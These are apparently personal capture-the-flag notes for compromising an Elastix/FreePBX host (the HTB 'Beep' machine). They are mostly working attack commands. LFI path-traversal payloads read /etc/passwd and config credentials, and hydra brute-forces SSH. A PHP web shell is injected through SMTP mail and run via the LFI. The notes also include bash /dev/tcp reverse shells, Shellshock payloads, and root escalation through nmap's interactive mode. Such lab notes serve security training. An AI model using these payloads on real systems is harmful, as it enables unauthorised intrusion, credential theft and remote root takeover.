Elastix FreePBX

Elastix LFI graph.php

• Elastix version: FreePBX 2.8.14

• google "elastix vulnerabilities"

• Elastix 2.2.0 graph.php Local File Inclusion (LFI)

• https://www.exploit-db.com/exploits/37637

• amportal.conf - Config file target will give up the Creds

• If you find user/pw - fire up hydra and crack it

searchsploit elastix
searchsploit -m 37637   ..copy LFI

https://$IP/vtigercrm/graph.php?current_language
=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action
=../../../../../../../..//etc/passwd%00&module=Accounts&action

Ignore users with nologin
vim > :g/nologin/d

Fix formatting:
tr '#' '\n' < input.txt > output.txt
grep -i -E 'user|pass|host|name' output.txt

hydra -L users.txt -P pass.txt ssh://$IP

Passwords found here.. could be used as 'root' :)
(beep htb)

Elastix LFI vtigercrm

• vTiger CRM 5.1.0

• gobuster found 'vtigercrm' folder

• searchsploit vtiger found: Local File Inclusion - 18770.txt

https://$IP/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php
?module_name=english.php HTTP/1.1
?module_name=../../../../../../../../etc/passwd%00
?module_name=../../../../../../../../proc/self/status%00
?module_name=../../../../../../../../var/mail/askerisk%00

View Page Source!
Found: uid:100:asterisk, passwd, mail-read

PBX Extensions

• https://$IP/panel ..Target will show extensions (if you can access)

• SIPVicious: Find active 'extensions' by wardialing your PBX

• sudo apt install sipvicious

• https://github.com/EnableSecurity/sipvicious

• https://helpforhac.blogspot.com/2014/01/free-pbx-hack-phone.html

> svmap 10.129.113.87 -vv

+--------------------+---------------------+-------------+
| SIP Device         | User Agent          | Fingerprint |
+====================+=====================+=============+
| 10.129.113.87:5060 | FPBX-2.8.1(1.8.7.0) | disabled    |
+--------------------+---------------------+-------------+

> svwar -h
> svware $IP
> svwar -D -m INVITE $IP
> svwar -D -m INVITE $IP -e100-300 --force

+-----------+----------------+
| Extension | Authentication |
+===========+================+
| 233       | reqauth        |
+-----------+----------------+

Remote Code Execution

• FreePBX 2.8.14

• searchsploit freepbx 2.8.14

• Found: 2.10.10 / Elastix 2.2.0 - Remote Code Execution: php/webapps: 18650.py

  • Did you read the notes?

  • Elastix often allows us to run nmap with interactive

searchsploit -m 18650
vim 18650

lhost = $MyIP
rhost = $IP
extension='1000'      ..default extension
extension='238'       ..found with svware
url = 'https://....'
urllib.urlopen(url)   ..original
print(url)            ..to troubleshoot

nc -nvlp 4444
whoami 
asterisk

sudo nmap --interactive
nmap> !sh
id ..root

Email php injection

• Requires:

  • smtp:25 open

  • user/pass of email account

  • LFI that can open/execute under same account

-------------
smtp:25
telnet $IP	
EHLO mutatedknutz.beep.localdomain   ..extended hello
VRFY hacked@localhost    ..rejected
VRFY asterisk@localhost  ..connect!
mail from:[e-mail]
rcpt to:askerisk@localhost
data
Subject:Testing!
Hello                                        ..test #1
<?php echo "Php success"; ?>                 ..test #2
<?php echo system($_REQUEST['command']); ?>  ..test #3

.
quit

-------------
Use LFI to pull mail/file:
https://$IP/vtigercrm/modules/com_vtiger_workflow/sortfieldsjson.php
?module_name=../../../../../../../../var/mail/askerisk%00 
&command=whoami HTTP/1.1
&command=hostname HTTP/1.1
&command=bash -i >& /dev/tcp/10.x.x.x/5151 0>&1 HTTP/1.1
Update as: URL Encoded (with burp)

nc -nvlp 5151
whoami
asterisk !!

Metasploit

• Optional method: "vtiger soap upload"

• MSF SSL Issue/Fix: 6783

searchsploit vtigercrm
msf: vtiger_soap_upload

PBX Shellshock

() { :;}; echo; /usr/bin/wget https://$IP      ..test
() { :;}; bash -i >& /dev/tcp/$IP/443 0>&1     ..reverse